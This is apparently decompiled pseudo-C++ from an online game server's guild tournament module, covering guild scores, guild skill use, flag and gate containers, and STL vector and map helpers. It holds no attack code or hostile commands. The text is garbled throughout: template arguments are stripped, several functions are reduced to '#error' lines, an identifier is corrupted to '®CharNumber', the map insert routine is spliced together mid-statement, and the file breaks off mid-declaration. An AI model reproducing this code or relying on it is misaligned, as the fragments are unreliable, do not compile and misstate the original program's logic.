(GuildTournamentSystem::Gate *)v13; } } if ( v34 >= 0x10 ) operator delete(p); v34 = 15; v33 = 0; LOBYTE(p) = 0; if ( v31 >= 0x10 ) operator delete(v30); __security_check_cookie(cookie); } //----- (0045A400) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v7; // ebx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 unsigned int v10; // edi@4 int v11; // eax@6 int v12; // eax@11 int v13; // ecx@15 int v14; // eax@18 void *v15; // eax@22 void *v16; // ebx@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v17; // ST18_4@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v18; // ST20_4@22 int v19; // eax@22 int v20; // edi@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v21; // eax@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v22; // ecx@27 std::vector >::iterator v23; // ebx@27 GuildTournamentSystem::AdvanMobItemRegenInfo *v24; // ecx@28 GuildTournamentSystem::AdvanMobItemRegenInfo *v25; // ST24_4@28 unsigned int v26; // edi@28 int v27; // [sp+0h] [bp-58h]@1 void *_Newvec; // [sp+Ch] [bp-4Ch]@22 std::vector > *v29; // [sp+10h] [bp-48h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr; // [sp+14h] [bp-44h]@22 int _Tmp; // [sp+18h] [bp-40h]@1 int v32; // [sp+1Ch] [bp-3Ch]@1 int v33; // [sp+20h] [bp-38h]@1 std::basic_string,std::allocator > thisa; // [sp+24h] [bp-34h]@1 unsigned int v35; // [sp+40h] [bp-18h]@1 unsigned int cookie; // [sp+44h] [bp-14h]@32 int *v37; // [sp+48h] [bp-10h]@1 int v38; // [sp+54h] [bp-4h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Wherea; // [sp+60h] [bp+8h]@29 int _Counta; // [sp+64h] [bp+Ch]@22 GuildTournamentSystem::AdvanMobItemRegenInfo *_Vala; // [sp+68h] [bp+10h]@27 v4 = this; v37 = &v27; v5 = *(_DWORD *)&_Val->mapName.n3_name[4]; v6 = *(_DWORD *)&_Val->mapName.n3_name[8]; _Tmp = *(_DWORD *)&_Val->mapName.n3_name[0]; v29 = this; v32 = v5; v33 = v6; thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, &_Val->strGroupName, 0, 0xFFFFFFFFu); v35 = _Val->AdvanIndex; v7 = v4->_Myfirst; v38 = 0; if ( v7 ) { v9 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } v10 = _Count; if ( _Count ) { if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1130].gapf2b8[-v11 + 16029] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( v8 >= _Count + v12 ) { v22 = v4->_Mylast; v23 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 44 >= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v22[-_Count], v22, v22, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 44 * _Count)); std::_Copy_backward_opt( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&v23, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&v23, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&v23 + 44 * _Count), (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v22, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&_Where + 44 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v24 = v4->_Mylast; v25 = v4->_Mylast; LOBYTE(v38) = 3; std::vector>::_Ufill( v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 44, (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v26; v38 = 0; std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(v26 - 44 * _Count), (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1130].gapf2b8[-(v8 >> 1) + 16029] >= v8 ) v13 = (v8 >> 1) + v8; else v13 = 0; if ( v7 ) v14 = v4->_Mylast - v7; else v14 = 0; if ( v13 < _Count + v14 ) v13 = _Count + std::vector>::size((std::vector > *)v4); _Counta = 44 * v13; v15 = operator new(44 * v13); v16 = v15; v17 = v4->_Myfirst; _Newvec = v15; _Ptr = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v15; LOBYTE(v38) = 1; _Ptr = std::_Uninit_copy>( v17, *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)v15, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v10, (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = v4->_Mylast; _Ptr += v10; std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v18, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 44; v20 = v19 + v10; v21 = v4->_Myfirst; if ( v21 ) { std::vector>::_Destroy( v4, v21, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)v16 + _Counta); v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)v16 + 44 * v20); v4->_Myfirst = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v16; } } if ( thisa._Myres >= 0x10 ) operator delete(*(void **)&thisa._Bx._Buf[0]); __security_check_cookie(cookie); } //----- (0045A730) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::_FlagInfo(i); } //----- (0045A760) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0045A790) -------------------------------------------------------- void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade) { int *v2; // eax@1 v2 = std::map_std::allocator>>::operator__( &GuildTournamentSystem::sm_mapGuildMemberGrades, ®CharNumber); *v2 = nGrade; } //----- (0045A7B0) -------------------------------------------------------- #error "45A7B0: undefined or illegal type '#331' (funcsize=100)" //----- (0045A900) -------------------------------------------------------- #error "45A900: undefined or illegal type '#331' (funcsize=181)" //----- (0045AB30) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore) { GuildTournamentSystem::GuildGroup *v2; // esi@1 unsigned int v3; // edx@1 int v4; // eax@1 signed int v5; // ecx@1 v2 = this; v3 = nScore + this->m_unAllGuildScore; this->m_unGuildScore += nScore; this->m_unAllGuildScore = v3; v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v5 = 2000; if ( v4 && *(_DWORD *)(v4 + 40) ) v5 = *(_WORD *)CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( v2->m_unAllGuildScore >= v5 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript(v2); } // C88F940: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // C88F948: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0045AB90) -------------------------------------------------------- #error "45AB90: undefined or illegal type '#331' (funcsize=55)" //----- (0045AC30) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup) { GuildTournamentSystem::GuildGroup *v3; // esi@1 GUILD_TOURNAMENT_SKILL *v4; // ebx@1 DebugLogging *v5; // edi@2 _iobuf *v6; // eax@4 DebugLogging *v7; // edi@6 _iobuf *v8; // edi@8 TickTimer *v10; // edi@14 int v11; // ecx@22 unsigned int v12; // eax@22 GuildTournamentSystem::GuildGroup *v13; // ecx@28 TickTimer *v14; // eax@31 v3 = this; v4 = GuildTournamentSkillTable::GetStateByIndex(this->m_nTournamentType, nNumber); if ( !v4 ) { v5 = DebugLogging::operator<<( &GuildTournamentLog, "GuildTourmentSystem::UseGuildSkill Not Find GuildTournamentState Type :"); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, " ID:"); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6989); return 0; } v10 = v3->m_vecGuildBuffUseTime._Myfirst; if ( !v10 || v3->m_vecGuildBuffUseTime._Mylast - v10 <= nNumber ) std::vector>::_Xran((std::vector > *)&v3->m_vecGuildBuffUseTime); if ( TickTimer::IsEnable(&v10[nNumber]) ) { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6992); return 0; } v11 = v4->DeathPoint; v12 = v3->m_unKillerPoint; if ( v12 >= v11 ) { GuildTournamentSystem::GuildGroup::SetSkillPoint(v3, v12 - v11); if ( v4->TargetType == 1 ) { v13 = v3; } else { v13 = pEnemyGroup; if ( !pEnemyGroup ) { LABEL_31: v14 = std::vector>::at(&v3->m_vecGuildBuffUseTime, nNumber); TickTimer::Enable(v14, 1); return 1; } } GuildTournamentSystem::GuildGroup::EverythingGiveBuff(v13, v4->StaName, 0); goto LABEL_31; } if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6987); return 0; } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0045ADD0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType) { int v2; // ebx@1 GuildTournamentSystem::GuildGroup *v3; // esi@1 std::vector > *v4; // edi@1 int v5; // ebp@1 GUILD_TOURNAMENT_SKILL *v6; // eax@4 TickTimer *v7; // eax@5 DebugLogging *v8; // eax@6 DebugLogging *v9; // esi@6 _iobuf *v10; // esi@8 TickTimer thisa; // [sp+10h] [bp-Ch]@5 unsigned int nTypea; // [sp+20h] [bp+4h]@1 v2 = nType; v3 = this; this->m_nTournamentType = nType; v4 = &this->m_vecGuildBuffUseTime; nTypea = GuildTournamentSkillTable::GetUseSkillCount(nType, 0xFFFFFFFFu); v5 = 0; if ( v3->m_vecGuildBuffUseTime._Myfirst ) operator delete(v3->m_vecGuildBuffUseTime._Myfirst); v3->m_vecGuildBuffUseTime._Myfirst = 0; v3->m_vecGuildBuffUseTime._Mylast = 0; v3->m_vecGuildBuffUseTime._Myend = 0; if ( nTypea ) { do { v6 = GuildTournamentSkillTable::GetStateByIndex(v2, v5); if ( v6 ) { TickTimer::TickTimer( &thisa, ((signed int)((unsigned __int64)(10 * v6->DlyTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v6->DlyTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31)); std::vector>::push_back(v4, v7); } else { v8 = DebugLogging::operator<<(&GuildTournamentLog, "GuildTournamentSystem::GuildGroup::SetTournamentType"); v9 = DebugLogging::operator<<(v8, "Guild Skill Not Find Sequence Number :"); if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } ++v5; } while ( v5 < nTypea ); } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0045AEC0) -------------------------------------------------------- #error "45AEC0: undefined or illegal type '#331' (funcsize=226)" //----- (0045B170) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd) { unsigned __int16 *v2; // edx@1 unsigned __int16 *v3; // eax@1 v2 = this->m_MyTeamNPCs._Mylast; v3 = this->m_MyTeamNPCs._Myfirst; if ( v3 == v2 ) goto LABEL_8; do { if ( *v3 == Hnd ) break; ++v3; } while ( v3 != v2 ); if ( v3 == v2 ) LABEL_8: std::vector>::push_back(&this->m_MyTeamNPCs, &Hnd); } //----- (0045B1B0) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator>_1>>::_Buynode(&this->baseclass_0); v1->baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0._Myhead->_Parent = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Left = v1->baseclass_0._Myhead; v1->baseclass_0._Myhead->_Right = v1->baseclass_0._Myhead; v1->baseclass_0._Mysize = 0; } //----- (0045B1F0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v7; // edi@3 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v8; // ebp@10 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v9; // ebp@15 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, (std::basic_string,std::allocator > *)(*(_DWORD *)(v6 + 8) + 12), &_Val->first) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) && (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12), &v7->first)) ) { if ( *(_BYTE *)(*(_DWORD *)&v8->first._Bx._Buf[4] + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)(_Where + 12), &v7->first) || (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> **)v4 + 1)) && !std::less_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, &v7->first, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12)) ) { LABEL_20: v10 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v4, (std::pair,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst; v5 = result; *result = v10; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::Gate *v2; // esi@1 GuildTournamentSystem::Gate *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::Gate::_Gate(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0045B3F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(780903145i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045B460) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::FlagInfo *v2; // esi@1 GuildTournamentSystem::FlagInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::FlagInfo::_FlagInfo(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0045B4B0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0045B4E0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // edi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // ebx@21 GuildTournamentSystem::FlagInfo *v15; // ST18_4@21 GuildTournamentSystem::FlagInfo *v16; // ST20_4@21 int v17; // eax@21 int v18; // edi@23 GuildTournamentSystem::FlagInfo *v19; // eax@23 GuildTournamentSystem::FlagInfo *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 GuildTournamentSystem::FlagInfo *v22; // ecx@27 GuildTournamentSystem::FlagInfo *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-ECh]@1 void *_Newvec; // [sp+Ch] [bp-E0h]@21 std::vector > *thisa; // [sp+10h] [bp-DCh]@1 GuildTournamentSystem::FlagInfo *_Ptr; // [sp+14h] [bp-D8h]@21 GuildTournamentSystem::FlagInfo _Tmp; // [sp+18h] [bp-D4h]@1 unsigned int cookie; // [sp+D8h] [bp-14h]@29 int *v31; // [sp+DCh] [bp-10h]@1 int v32; // [sp+E8h] [bp-4h]@1 GuildTournamentSystem::FlagInfo *_Wherea; // [sp+F4h] [bp+8h]@28 int _Counta; // [sp+F8h] [bp+Ch]@21 GuildTournamentSystem::FlagInfo *_Vala; // [sp+FCh] [bp+10h]@26 v4 = this; v31 = &v25; thisa = this; GuildTournamentSystem::FlagInfo::FlagInfo(&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v32 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[180].esc_abstate.buffer[-v9 + 13981] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v20 = v4->_Mylast; v21 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 192 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - -64 * _Count)); std::_Copy_backward_opt( *(GuildTournamentSystem::FlagInfo **)&v21, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(GuildTournamentSystem::FlagInfo **)&v21, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&v21 + 192 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v20, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&_Where + 192 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v32) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 192, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::FlagInfo *)v24; v32 = 0; std::fill( *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)(v24 - 192 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[180].esc_abstate.buffer[-(v6 >> 1) + 13981] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Counta = 192 * v11; v13 = operator new(192 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = v13; _Ptr = (GuildTournamentSystem::FlagInfo *)v13; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>( v15, *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v16, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 192; v18 = v17 + v8; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::FlagInfo *)((char *)v14 + _Counta); v4->_Mylast = (GuildTournamentSystem::FlagInfo *)((char *)v14 + 192 * v18); v4->_Myfirst = (GuildTournamentSystem::FlagInfo *)v14; } } GuildTournamentSystem::FlagInfo::_FlagInfo(&_Tmp); __security_check_cookie(cookie); } //----- (0045B820) -------------------------------------------------------- void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > 